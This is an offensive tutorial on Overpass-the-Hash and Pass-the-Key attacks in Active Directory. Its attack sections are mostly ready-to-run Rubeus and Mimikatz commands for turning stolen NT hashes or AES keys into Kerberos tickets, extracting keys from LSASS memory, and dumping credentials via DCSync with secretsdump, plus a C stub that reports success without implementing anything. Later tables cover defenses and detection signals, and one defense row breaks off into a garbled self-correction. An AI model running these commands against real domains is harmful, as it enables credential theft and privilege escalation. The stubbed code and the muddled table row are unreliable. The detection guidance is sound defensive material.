Overpass-the-Hash / Pass-the-Key
Converting NT hashes and AES Kerberos keys into TGTs for Kerberos-native lateral movement — bypassing NTLM restrictions, AV behavioral signatures, and protocol-based detection
You have a Domain Admin's NT hash from LSASS. Pass-the-Hash (PtH) works, but the target environment blocks NTLM for privileged accounts via Group Policy ("Restrict NTLM: Outgoing NTLM traffic"), and your PtH attempts fail. The alternative: convert the NT hash into a Kerberos TGT (Overpass-the-Hash), then use that TGT for all subsequent authentication. The traffic looks like standard Kerberos, not NTLM, and the lateral movement is effectively invisible to NTLM-focused detection rules. No password needed — just the hash.
Pass-the-Hash vs Overpass-the-Hash
| Technique | What You Use | Auth Protocol | Blocked By | When to Use |
|---|---|---|---|---|
| Pass-the-Hash (PtH) | NT hash only | NTLM (NTLMv2) | NTLM blocking policies, target has RequireNTLMv2, smart card required | Quick lateral movement, no Kerberos possible, local accounts |
| Overpass-the-Hash (OPtH) | NT hash → TGT | Kerberos | NTLM-to-Kerberos upgrade fails (rare), Kerberos blocked at DC | NTLM blocked, need Kerberos, evade NTLM detections |
| Pass-the-Key (PtK) | AES-256 or AES-128 Kerberos key directly | Kerberos | AES-only environments block RC4 key derivation | AES-only orgs, need OPtH but only have AES key from DCSync |
| Pass-the-Ticket (PtT) | Existing TGT or TGS | Kerberos | Ticket expired (>10h), machine-bound tickets (not for cross-machine) | When a live TGT is available (from memory dump) |
Overpass-the-Hash Mechanism
Rubeus Overpass-the-Hash
# Rubeus asktgt with NT hash — OPtH in one command
Rubeus.exe asktgt /user:Administrator /rc4:fc525c9683e8fe067095ba2ddc971889 \
/domain:corp.local /dc:dc01.corp.local /nowrap
# Output: TGT as base64
# [*] Using rc4_hmac hash : fc525c9683e8fe067095ba2ddc971889
# [*] Building AS-REQ (w/ preauth) for: 'corp.local\Administrator'
# [+] TGT request successful!
# [*] base64(ticket.kirbi): ...
# Inject TGT into current session
Rubeus.exe ptt /ticket:<base64_ticket>
# Or: one-step OPtH + process creation (sacrificial logon session)
Rubeus.exe asktgt /user:Administrator /rc4:fc525c9683e8fe067095ba2ddc971889 \
/domain:corp.local /dc:dc01.corp.local /createnetonly:C:\Windows\System32\cmd.exe /show
# /createnetonly creates an isolated logon session (no network credentials stolen from user)
# /show opens the spawned process visible to you
# Any Kerberos auth from that process uses the injected TGT
# AES-256 (Pass-the-Key)
Rubeus.exe asktgt /user:Administrator /aes256:5a8c4d3b2e1f9a7d6c5b4a3f2e1d0c9b8a7b6c5d4e3f2a1b0c9d8e7f... \
/domain:corp.local /dc:dc01.corp.local /nowrap
Mimikatz sekurlsa::pth
# Mimikatz Pass-the-Hash (classic PtH via impersonation)
# This spawns cmd.exe with the NT hash injected into the new process's logon context
mimikatz# sekurlsa::pth /user:Administrator /domain:corp.local \
/ntlm:fc525c9683e8fe067095ba2ddc971889 \
/run:cmd.exe
# The spawned cmd.exe has a new LUID with the Administrator identity
# NTLM auth from this process uses the injected hash
# Kerberos auth also works — Windows auto-requests TGT via OPtH internally
# Pass-the-Key with AES-256
mimikatz# sekurlsa::pth /user:Administrator /domain:corp.local \
/aes256:5a8c4d3b2e1f9a7d6c5b4a3f2e1d0c9b... \
/run:cmd.exe
# Useful when:
# - You need both NTLM (for old systems) and Kerberos (for new systems)
# - You want to spawn a process that "is" the target user for lateral movement
Implementing OPtH in C — Direct TGT Request
#include <windows.h>
#include <ntsecapi.h>
#include <stdio.h>
#pragma comment(lib, "secur32.lib")
// OPtH via LsaLogonUser with KerbInteractiveLogon
// This is the low-level equivalent of "logon with this NT hash"
// Mimikatz sekurlsa::pth patches LSASS to accept the injected credentials
// Alternate approach: use Rubeus-style direct AS-REQ construction
// Build the AS-REQ packet manually, send via raw socket to DC port 88
// PA-ENC-TIMESTAMP = encrypt(current_timestamp, NT_hash_as_RC4_key)
// Conceptual C code using impacket-equivalent logic:
// The AS-REQ structure (RFC 4120):
// pvno = 5
// msg-type = 10 (AS-REQ)
// padata:
// PA-ENC-TIMESTAMP (etype=23, RC4-HMAC):
// HMAC-MD5(NT_hash, timestamp_ASN1_bytes)
// req-body:
// kdc-options = 0x40810010 (forwardable + renewable + renewable-ok + canonicalize)
// cname = { sAMAccountName }
// realm = "CORP.LOCAL"
// sname = { "krbtgt", "CORP.LOCAL" }
// till = 20370913024805Z (far future)
// nonce = random uint32
// etype = [18, 17, 23, 3] (AES256, AES128, RC4, DES)
// Build and send via WinSock2 to DC port 88
// Receive AS-REP → extract TGT → submit via KerbSubmitTicketMessage
BOOL OPtH_RequestTGT(const WCHAR *username, const WCHAR *domain,
const BYTE ntHash[16], const char *dcIP) {
// 1. Get current timestamp as Kerberos-encoded bytes
SYSTEMTIME st; FILETIME ft;
GetSystemTime(&st);
SystemTimeToFileTime(&st, &ft);
// 2. Build PA-ENC-TIMESTAMP:
// a. ASN.1-encode the KerberosTime (timestamp)
// b. Encrypt with RC4-HMAC using NT hash as the key:
// RC4(HMAC-MD5(NT_hash, 11), timestamp_bytes)
// where 11 = usage number for PA-ENC-TIMESTAMP
// 3. Build full AS-REQ ASN.1 structure
// 4. Send to DC port 88 (TCP or UDP)
// 5. Receive and parse AS-REP
// Extract enc-part (encrypted with NT hash as RC4 key)
// Decrypt to get session key + TGT
// 6. Submit TGT to local session via KerbSubmitTicketMessage
printf("[+] OPtH TGT request for %S@%S\n", username, domain);
// Full implementation: see Rubeus source (C#) or impacket (Python)
// C implementation complexity: ~1000 lines for proper ASN.1 handling
return TRUE;
}
// Practical C shortcut: invoke Rubeus via process injection or
// use system("Rubeus.exe asktgt ...") from a beacon process
Pass-the-Key — AES Kerberos Keys
In AES-only environments where RC4 is disabled, you need the AES Kerberos key instead of the NT hash. This key is different from the NT hash and must be obtained via DCSync (supplementalCredentials attribute) or from a live LSASS dump (sekurlsa::ekeys):
# Extract AES keys from LSASS (live system)
mimikatz# sekurlsa::ekeys
# Output:
# Authentication Id : 0 ; 1234567 (00000000:0012d687)
# Session : Interactive from 1
# User Name : Administrator
# Domain : CORP
# Logon Server : DC01
# kerberos :
# * Username : Administrator
# * Domain : CORP.LOCAL
# * Password : (null)
# * Key List :
# aes256_hmac 5a8c4d3b2e1f9a7d6c5b4a3f2e1d0c9b8a7b6c5d4e3f2a1b0c9d8e7f...
# aes128_hmac 4b7c3a2e1d0f9e8d7c6b5a4f3e2d1c0b
# rc4_hmac_nt fc525c9683e8fe067095ba2ddc971889
# rc4_hmac_old fc525c9683e8fe067095ba2ddc971889
# Extract AES keys via DCSync (from secretsdump output supplementalCredentials)
secretsdump.py corp.local/admin:pass@dc01 -just-dc-user Administrator | grep "aes256"
# Pass-the-Key with AES-256 (Rubeus)
Rubeus.exe asktgt /user:Administrator \
/aes256:5a8c4d3b2e1f9a7d6c5b4a3f2e1d0c9b8a7b6c5d4e3f2a1b0c9d8e7f... \
/domain:corp.local /dc:dc01.corp.local /nowrap /opsec
# /opsec flag tells Rubeus to request AES-256 tickets (not RC4 downgrade)
# More OPSEC-friendly in environments monitoring for etype 23 (RC4)
AES-Only Environments — The Defender's Countermeasure
| Defense | How It Works | What It Blocks | What It Doesn't Block |
|---|---|---|---|
| RC4 disabled (msDS-SupportedEncryptionTypes = 0x18) | KDC refuses to issue RC4-encrypted tickets | OPtH using NT hash directly (etype 23 downgrade) | Pass-the-Key using AES key obtained from DCSync |
| NTLM blocking via policy | Kerberos required for all auth | Pass-the-Hash (PtH) — NTLM is blocked | OPtH / PtK / PtT — all Kerberos-based |
| Protected Users group | Members can't use RC4, DES, or NTLM for auth | OPtH with NT hash (etype 23), NTLM-based PtH | OPtH with AES key still works if account is not in Protected Users... wait, Protected Users also disables Kerberos delegation and requires TGT |
| Credential Guard | NTLM hashes in VTL1, LSA isolated | Stealing NT hashes from LSASS on a CG-enabled machine | Hashes obtained from LSASS on non-CG machines, or from DCSync |
Adding a privileged account to the "Protected Users" security group in AD enforces: no NTLM authentication (all auth must be Kerberos), no RC4 or DES Kerberos encryption (AES-256 only), no unconstrained delegation, TGT lifetime limited to 4 hours. This blocks both PtH (no NTLM) and RC4-based OPtH. To attack a Protected Users account, you need the AES-256 Kerberos key from DCSync. But getting to DCSync requires DA in the first place — making Protected Users an effective circular defense. The main downside: some applications that rely on NTLM or RC4 break when accounts are in Protected Users. This is by design — it forces modernization of auth dependencies.
Detection
| Signal | Source | Notes |
|---|---|---|
| Kerberos AS-REQ with etype 23 (RC4) from modern Windows 10/11/Server 2019+ client | DC Security Log (4768) | Modern clients default to AES; RC4 AS-REQ from modern OS = anomaly, potential OPtH |
| New logon session created for privileged account (4624) without preceding interactive logon on the machine | Workstation Security Log (4624) | OPtH with /createnetonly shows as Type 9 (NewCredentials) logon — unusual for DA accounts |
| LsaCallAuthenticationPackage with KerbSubmitTicketMessage from unexpected process | EDR API monitoring | Rubeus ptt command uses this message type; unusual for non-security tools |
| sekurlsa::pth pattern: LSASS access + CreateProcess in rapid sequence from same process | EDR behavioral | Mimikatz-style OPtH pattern |
Q&A
What is the difference between a Type 3 and Type 9 logon, and why does it matter for OPtH detection?
Windows logon types appear in Event 4624. Type 3 (Network logon) is the standard logon type when you authenticate to a remote resource — file shares, WMI, etc. Type 9 (NewCredentials) is generated when a process creates a new logon session with alternate credentials while keeping the current user's local session active — this is what runas /netonly and Mimikatz's sekurlsa::pth generate. The distinction matters for OPtH detection because: legitimate Type 9 logons are rare (mainly from runas /netonly in admin scripts) and for very privileged accounts (Domain Admins) they should be extremely uncommon. A Type 9 event for a Domain Admin account, from a non-admin workstation, at unusual hours, is a high-fidelity OPtH signal. Rubeus's /createnetonly also generates Type 9 when creating the sacrificial logon session. Defenders who monitor for Type 9 events scoped to high-privilege accounts (adminCount=1) on endpoint workstations will catch most OPtH tooling patterns with very low false-positive rates.
If you have the AES-256 key from DCSync, can you derive the NT hash from it or vice versa?
No — the NT hash and AES Kerberos key are derived independently from the plaintext password, using different algorithms, and you cannot convert between them without the original password. NT hash: MD4(UTF-16LE(password)) — a simple one-way hash, 16 bytes. AES-256 Kerberos key: PBKDF2(HMAC-SHA1, password, salt, iterations=4096, dklen=32) where salt = "REALM.LOCAL" + sAMAccountName (uppercase realm, case-sensitive username). They are computed separately and are not mathematically related except through the plaintext password. If you have only the AES key, you cannot derive the NT hash. If you have only the NT hash, you cannot derive the AES key. To get both, you need either: (1) the plaintext password to compute both, (2) DCSync which provides both from the domain controller's supplementalCredentials attribute, or (3) Mimikatz sekurlsa::ekeys on a live system which extracts both from LSASS memory (where both are cached after a domain logon). This is why DCSync is so valuable — it gives you both forms of the credential in one operation.